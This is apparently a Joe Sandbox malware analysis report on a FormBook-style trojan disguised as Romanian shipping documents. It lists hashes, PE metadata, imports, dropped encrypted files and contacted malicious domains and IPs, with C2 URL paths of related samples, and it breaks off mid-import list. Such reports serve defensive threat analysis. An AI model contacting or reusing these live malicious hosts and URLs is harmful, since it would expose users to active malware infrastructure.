                                        https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://www.ecosia.org/newtab/sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              13.248.169.48
                                              		www.avalanchefi.xyzUnited States
                                              		16509AMAZON-02UStrue
                                              108.179.253.197
                                              		bloodbalancecaps.shopUnited States
                                              		46606UNIFIEDLAYER-AS-1UStrue
                                              108.181.189.7
                                              		jalan2.onlineCanada
                                              		852ASN852CAtrue

                                              General Information

                                              Joe Sandbox version:41.0.0 Charoite
                                              Analysis ID:1571472
                                              Start date and time:2024-12-09 13:12:04 +01:00
                                              Joe Sandbox product:CloudBasic
                                              Overall analysis duration:0h 7m 58s
                                              Hypervisor based Inspection enabled:false
                                              Report type:full
                                              Cookbook file name:default.jbs
                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                              Number of analysed new started processes analysed:8
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:2
                                              Technologies:
                                              • HCA enabled
                                              • EGA enabled
                                              • AMSI enabled
                                              Analysis Mode:default
                                              Analysis stop reason:Timeout
                                              Sample name:AWB_5771388044 Documente de expediere.exe
                                              Detection:MAL
                                              Classification:mal100.troj.spyw.evad.winEXE@7/3@4/3
                                              EGA Information:
                                              • Successful, ratio: 75%
                                              HCA Information:
                                              • Successful, ratio: 90%
                                              • Number of executed functions: 48
                                              • Number of non-executed functions: 297
                                              Cookbook Comments:
                                              • Found application associated with file extension: .exe

                                              Warnings

                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                              • Not all processes where analyzed, report is missing behavior information
                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                              • VT rate limit hit for: AWB_5771388044 Documente de expediere.exe

                                              Simulations

                                              Behavior and APIs

                                              TimeTypeDescription
                                              07:14:28API Interceptor13534x Sleep call for process: sc.exe modified

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              13.248.169.48Payment Advice - Advice RefA2dGOv46MCnu -USD Priority payment.exeGet hashmaliciousFormBookBrowse
                                              • www.hsa.world/09b7/
                                              MN1qo2qaJmEvXDP.exeGet hashmaliciousFormBookBrowse
                                              • www.lovel.shop/rxts/
                                              RFQ _ Virtue 054451000085.exeGet hashmaliciousFormBookBrowse
                                              • www.snyp.shop/4nyz/
                                              NEW.RFQ00876.pdf.exeGet hashmaliciousFormBookBrowse
                                              • www.krshop.shop/5p01/
                                              DHL_734825510.exeGet hashmaliciousFormBookBrowse
                                              • www.egyshare.xyz/440l/
                                              purchase order.exeGet hashmaliciousFormBookBrowse
                                              • www.aktmarket.xyz/wb7v/
                                              SRT68.exeGet hashmaliciousFormBookBrowse
                                              • www.avalanchefi.xyz/vxa5/
                                              ek8LkB2Cgo.exeGet hashmaliciousFormBookBrowse
                                              • www.remedies.pro/4azw/
                                              Document_084462.scr.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              • www.optimismbank.xyz/98j3/?2O=jo1iJOnj8ueGZPJDfvyWmhhX4bGAJjt1DdtSaCSQL5v3UEYBE5VATgnqgu9yCYXU1qT81UG2HbOLQLBbZNDoJaqiWagLaQ4MrpZVJnF4w7w/HKU2baOdEb4=&ChhG6=J-xs
                                              Pp7OXMFwqhXKx5Y.exeGet hashmaliciousFormBookBrowse
                                              • www.smartgov.shop/1cwp/
                                              108.179.253.197DHL_734825510.exeGet hashmaliciousFormBookBrowse
                                              • www.bloodbalancecaps.shop/qimy/
                                              SW_5724.exeGet hashmaliciousFormBookBrowse
                                              • www.bloodbalancecaps.shop/qimy/
                                              108.181.189.7lgkWBwqY15.exeGet hashmaliciousFormBookBrowse
                                              • www.jalan2.online/lvda/
                                              New quotation request.exeGet hashmaliciousFormBookBrowse
                                              • www.jalan2.online/lvda/
                                              Quotation Validity.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                              • www.jalan2.online/ykgd/
                                              lKvXJ7VVCK.exeGet hashmaliciousFormBookBrowse
                                              • www.jalan2.online/xu9o/
                                              Purchase Order PO.exeGet hashmaliciousFormBookBrowse
                                              • www.jalan2.online/ykgd/
                                              New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                              • www.jalan2.online/xu9o/
                                              need quotations.exeGet hashmaliciousFormBookBrowse
                                              • www.jalan2.online/lvda/

                                              Domains

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              www.avalanchefi.xyzSRT68.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48
                                              lKvXJ7VVCK.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48
                                              New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                              • 13.248.169.48

                                              ASNs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              UNIFIEDLAYER-AS-1USOwari.sh4.elfGet hashmaliciousUnknownBrowse
                                              • 192.163.253.90
                                              http://74.50.69.234/Get hashmaliciousUnknownBrowse
                                              • 192.185.131.189
                                              http://74.50.69.234/Get hashmaliciousUnknownBrowse
                                              • 192.185.131.189
                                              jmhgeojeri.elfGet hashmaliciousUnknownBrowse
                                              • 162.145.178.130
                                              Fw 2025 Employee Handbook For all Colhca Employees Ref THEFUE.emlGet hashmaliciousUnknownBrowse
                                              • 192.185.35.240
                                              TECHNICAL SPECIFICATIONS.exeGet hashmaliciousAgentTeslaBrowse
                                              • 192.254.225.136
                                              https://hujalconcretos.com/nppGet hashmaliciousUnknownBrowse
                                              • 192.185.131.189
                                              DHL_734825510.exeGet hashmaliciousFormBookBrowse
                                              • 108.179.253.197
                                              Shipping Documents 72908672134.exeGet hashmaliciousAgentTeslaBrowse
                                              • 192.254.186.165
                                              #U25b6#Ufe0fPlayVoiceMessage9266.emlGet hashmaliciousUnknownBrowse
                                              • 192.185.77.66
                                              ASN852CAOwari.ppc.elfGet hashmaliciousUnknownBrowse
                                              • 205.206.220.180
                                              jew.ppc.elfGet hashmaliciousUnknownBrowse
                                              • 173.180.42.125
                                              sora.mpsl.elfGet hashmaliciousMiraiBrowse
                                              • 173.181.196.166
                                              8AE6w4efXi.exeGet hashmaliciousUnknownBrowse
                                              • 108.181.20.36
                                              8AE6w4efXi.exeGet hashmaliciousUnknownBrowse
                                              • 108.181.20.36
                                              meerkat.arm.elfGet hashmaliciousMiraiBrowse
                                              • 199.126.85.44
                                              jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                              • 154.5.23.163
                                              pjyhwsdgkl.elfGet hashmaliciousUnknownBrowse
                                              • 206.75.101.242
                                              jew.sh4.elfGet hashmaliciousUnknownBrowse
                                              • 161.187.17.140
                                              i586.elfGet hashmaliciousUnknownBrowse
                                              • 216.232.55.178
                                              AMAZON-02USPotvrda_o_uplati.docx.docGet hashmaliciousUnknownBrowse
                                              • 54.150.207.131
                                              http://doctifyblog.comGet hashmaliciousUnknownBrowse
                                              • 52.95.149.107
                                              https://www.egencia.com/conversations/cp/connect.html/?id=9445ace5-416d-4fb9-b151-bab0770ccddeGet hashmaliciousUnknownBrowse
                                              • 52.211.89.170
                                              pXdN91.armv5l.elfGet hashmaliciousMirai, GafgytBrowse
                                              • 54.171.230.55
                                              9QwZPBACyK.exeGet hashmaliciousUnknownBrowse
                                              • 185.166.143.50
                                              https://www.drvhub.netGet hashmaliciousUnknownBrowse
                                              • 18.244.202.69
                                              Owari.sh4.elfGet hashmaliciousUnknownBrowse
                                              • 34.217.158.251
                                              https://www.drvhub.netGet hashmaliciousUnknownBrowse
                                              • 108.158.75.80
                                              https://www.drvhub.netGet hashmaliciousUnknownBrowse
                                              • 3.160.77.34
                                              Owari.arm7.elfGet hashmaliciousMiraiBrowse
                                              • 18.155.226.108

                                              JA3 Fingerprints

                                              ⊘No context

                                              Dropped Files

                                              ⊘No context

                                              Created / dropped Files

                                              C:\Users\user\AppData\Local\Temp\04j58b6g

                                              Download File
                                              Process:C:\Windows\SysWOW64\sc.exe
                                              File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                              Category:dropped
                                              Size (bytes):114688
                                              Entropy (8bit):0.9746603542602881
                                              Encrypted:false
                                              SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                              MD5:780853CDDEAEE8DE70F28A4B255A600B
                                              SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                              SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                              SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                              Malicious:false
                                              Reputation:high, very likely benign file
                                              Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Temp\aut6327.tmp

                                              Download File
                                              Process:C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):290304
                                              Entropy (8bit):7.9924146979310535
                                              Encrypted:true
                                              SSDEEP:6144:KDvAWDDDDDDDDcPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDy:Fz8fnUmyPsS/aIFVelBTDn7
                                              MD5:BBA1B386F3AE1207B22C81972194B68C
                                              SHA1:3F42916729E813A08C30B8D5C1C56D727CC7390D
                                              SHA-256:3DD63B8D8CFE959D5DCF4A8AABB3BE87C96FBD691DBFA98BF3DCA7C7A4089B4E
                                              SHA-512:EF48BAB28FB321E51B144E8EC3950B8373B2C0991F34489911529352D4994E28ACFDC14D8BE1F565B8BB287D675312525BA0A2B688E369D87A4A86E907AF578A
                                              Malicious:false
                                              Reputation:low
                                              Preview:.n.AQ7G9RQU7..U4.AR7G9VQ.7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RA.7G9XN.9Y.\.s.S{...9<DyE'[533ZgZ7?;X-.7Qr3'YgP8q.x..8[6$|:J3rQU7Y5U4+@[.zY1.hW>.hT5.H...l12.C...n!5.]...iW>..]1)oW .VQU7Y5U4..R7.8WQ.[$kU4RAR7G9.QW6R4^4R.V7G9VQU7Y5.'RAR'G9V!Q7Y5.4RQR7G;VQS7Y5U4RAT7G9VQU7YEQ4RCR7G9VQW7..U4BAR'G9VQE7Y%U4RAR7W9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7wA0L&AR7.cRQU'Y5UhVAR'G9VQU7Y5U4RAR7g9V1U7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7

                                              C:\Users\user\AppData\Local\Temp\corynteria

                                              Download File
                                              Process:C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):290304
                                              Entropy (8bit):7.9924146979310535
                                              Encrypted:true
                                              SSDEEP:6144:KDvAWDDDDDDDDcPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDy:Fz8fnUmyPsS/aIFVelBTDn7
                                              MD5:BBA1B386F3AE1207B22C81972194B68C
                                              SHA1:3F42916729E813A08C30B8D5C1C56D727CC7390D
                                              SHA-256:3DD63B8D8CFE959D5DCF4A8AABB3BE87C96FBD691DBFA98BF3DCA7C7A4089B4E
                                              SHA-512:EF48BAB28FB321E51B144E8EC3950B8373B2C0991F34489911529352D4994E28ACFDC14D8BE1F565B8BB287D675312525BA0A2B688E369D87A4A86E907AF578A
                                              Malicious:false
                                              Reputation:low
                                              Preview:.n.AQ7G9RQU7..U4.AR7G9VQ.7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RA.7G9XN.9Y.\.s.S{...9<DyE'[533ZgZ7?;X-.7Qr3'YgP8q.x..8[6$|:J3rQU7Y5U4+@[.zY1.hW>.hT5.H...l12.C...n!5.]...iW>..]1)oW .VQU7Y5U4..R7.8WQ.[$kU4RAR7G9.QW6R4^4R.V7G9VQU7Y5.'RAR'G9V!Q7Y5.4RQR7G;VQS7Y5U4RAT7G9VQU7YEQ4RCR7G9VQW7..U4BAR'G9VQE7Y%U4RAR7W9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7wA0L&AR7.cRQU'Y5UhVAR'G9VQU7Y5U4RAR7g9V1U7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7G9VQU7Y5U4RAR7

                                              Static File Info

                                              General

                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                              Entropy (8bit):7.159549326870946
                                              TrID:
                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                              • DOS Executable Generic (2002/1) 0.02%
                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                              File name:AWB_5771388044 Documente de expediere.exe
                                              File size:1'226'240 bytes
                                              MD5:53bc8d5aec130cb17e4f2a277b722bf2
                                              SHA1:b84460732b23ab76d0cac4d1c5c86bdf5279774f
                                              SHA256:cf789e7c76e35f7b7f1a26463290aa94d05e2dd71b813f5eae75cdbc83bbed6b
                                              SHA512:ee4a89861b1dc2a375260a067bc7730ea97efc6232170dda9d68ba146bfa59c902bab35258ecfe6ea49cdfba3581d82c94f7cc5de5958de8a86159b2feb5db39
                                              SSDEEP:24576:6tb20pkaCqT5TBWgNQ7aDl1/qzyOOEcL8RzPRijt6A:nVg5tQ7aDl1FEcL8RzPEh5
                                              TLSH:2545D02363DD8361C7B25273BA25B7416EBB7C2506B5F96B2FD4093DF820122521EA73
                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

                                              File Icon

                                              Icon Hash:aaf3e3e3938382a0

                                              Static PE Info

                                              General

                                              Entrypoint:0x425f74
                                              Entrypoint Section:.text
                                              Digitally signed:false
                                              Imagebase:0x400000
                                              Subsystem:windows gui
                                              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                              DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                              Time Stamp:0x674914C3 [Fri Nov 29 01:11:31 2024 UTC]
                                              TLS Callbacks:
                                              CLR (.Net) Version:
                                              OS Version Major:5
                                              OS Version Minor:1
                                              File Version Major:5
                                              File Version Minor:1
                                              Subsystem Version Major:5
                                              Subsystem Version Minor:1
                                              Import Hash:3d95adbf13bbe79dc24dccb401c12091

                                              Entrypoint Preview

                                              Instruction
                                              call 00007F579D38F25Fh
                                              jmp 00007F579D382274h
                                              int3
                                              int3
                                              push edi
                                              push esi
                                              mov esi, dword ptr [esp+10h]
                                              mov ecx, dword ptr [esp+14h]
                                              mov edi, dword ptr [esp+0Ch]
                                              mov eax, ecx
                                              mov edx, ecx
                                              add eax, esi
                                              cmp edi, esi
                                              jbe 00007F579D3823FAh
                                              cmp edi, eax
                                              jc 00007F579D38275Eh
                                              bt dword ptr [004C0158h], 01h
                                              jnc 00007F579D3823F9h
                                              rep movsb
                                              jmp 00007F579D38270Ch
                                              cmp ecx, 00000080h
                                              jc 00007F579D3825C4h
                                              mov eax, edi
                                              xor eax, esi
                                              test eax, 0000000Fh
                                              jne 00007F579D382400h
                                              bt dword ptr [004BA370h], 01h
                                              jc 00007F579D3828D0h
                                              bt dword ptr [004C0158h], 00000000h
                                              jnc 00007F579D38259Dh
                                              test edi, 00000003h
                                              jne 00007F579D3825AEh
                                              test esi, 00000003h
                                              jne 00007F579D38258Dh
                                              bt edi, 02h
                                              jnc 00007F579D3823FFh
                                              mov eax, dword ptr [esi]
                                              sub ecx, 04h
                                              lea esi, dword ptr [esi+04h]
                                              mov dword ptr [edi], eax
                                              lea edi, dword ptr [edi+04h]
                                              bt edi, 03h
                                              jnc 00007F579D382403h
                                              movq xmm1, qword ptr [esi]
                                              sub ecx, 08h
                                              lea esi, dword ptr [esi+08h]
                                              movq qword ptr [edi], xmm1
                                              lea edi, dword ptr [edi+08h]
                                              test esi, 00000007h
                                              je 00007F579D382455h
                                              bt esi, 03h
                                              jnc 00007F579D3824A8h
                                              movdqa xmm1, dqword ptr [esi+00h]

                                              Rich Headers

                                              Programming Language:
                                              • [ C ] VS2008 SP1 build 30729
                                              • [IMP] VS2008 SP1 build 30729
                                              • [ASM] VS2012 UPD4 build 61030
                                              • [RES] VS2012 UPD4 build 61030
                                              • [LNK] VS2012 UPD4 build 61030

                                              Data Directories

                                              NameVirtual AddressVirtual Size Is in Section
                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xb70040x17c.rdata
                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xc40000x624e4.rsrc
                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x1270000x6c4c.reloc
                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x8d8d00x1c.rdata
                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb27300x40.rdata
                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IAT0x8d0000x860.rdata
                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                              Sections

                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                              .text0x10000x8b54f0x8b600f437a6545e938612764dbb0a314376fcFalse0.5699499019058296data6.680413749210956IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .rdata0x8d0000x2cc420x2ce00827ffd24759e8e420890ecf164be989eFalse0.330464397632312data5.770192333189168IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .data0xba0000x9d540x6200e0a519f8e3a35fae0d9c2cfd5a4bacfcFalse0.16402264030612246data2.002691099965349IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                              .rsrc0xc40000x624e40x62600021b98d28a2c4779a654f7570bbc28c6False0.9332041176937739data7.905969388180345IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .reloc0x1270000xa4740xa6000bc98f8631ef0bde830a7f83bb06ff08False0.5017884036144579data5.245426654116355IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                              Resources

                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                              RT_ICON0xc45a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                              RT_ICON0xc46d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                              RT_ICON0xc47f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                              RT_ICON0xc49200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                              RT_ICON0xc4c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                              RT_ICON0xc4d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                              RT_ICON0xc5bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                              RT_ICON0xc64800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                              RT_ICON0xc69e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                              RT_ICON0xc8f900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                              RT_ICON0xca0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                              RT_MENU0xca4a00x50dataEnglishGreat Britain0.9
                                              RT_STRING0xca4f00x594dataEnglishGreat Britain0.3333333333333333
                                              RT_STRING0xcaa840x68adataEnglishGreat Britain0.2747909199522103
                                              RT_STRING0xcb1100x490dataEnglishGreat Britain0.3715753424657534
                                              RT_STRING0xcb5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                              RT_STRING0xcbb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                              RT_STRING0xcc1f80x466dataEnglishGreat Britain0.3605683836589698
                                              RT_STRING0xcc6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                              RT_RCDATA0xcc7b80x597ebdata1.0003300861224702
                                              RT_GROUP_ICON0x125fa40x76dataEnglishGreat Britain0.6610169491525424
                                              RT_GROUP_ICON0x12601c0x14dataEnglishGreat Britain1.25
                                              RT_GROUP_ICON0x1260300x14dataEnglishGreat Britain1.15
                                              RT_GROUP_ICON0x1260440x14dataEnglishGreat Britain1.25
                                              RT_VERSION0x1260580xdcdataEnglishGreat Britain0.6181818181818182
                                              RT_MANIFEST0x1261340x3b0ASCII text, with CRLF line terminatorsEnglishGreat Britain0.5116525423728814

                                              Imports

                                              DLLImport
                                              WSOCK32.dll__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
                                              VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                              COMCTL32.dllImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
                                              MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                              WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
                                              PSAPI.DLLGetProcessMemoryInfo
                                              IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                              USERENV.dllUnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
                                              UxTheme.dllIsThemeActive
                                              KERNEL32.dllHeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, 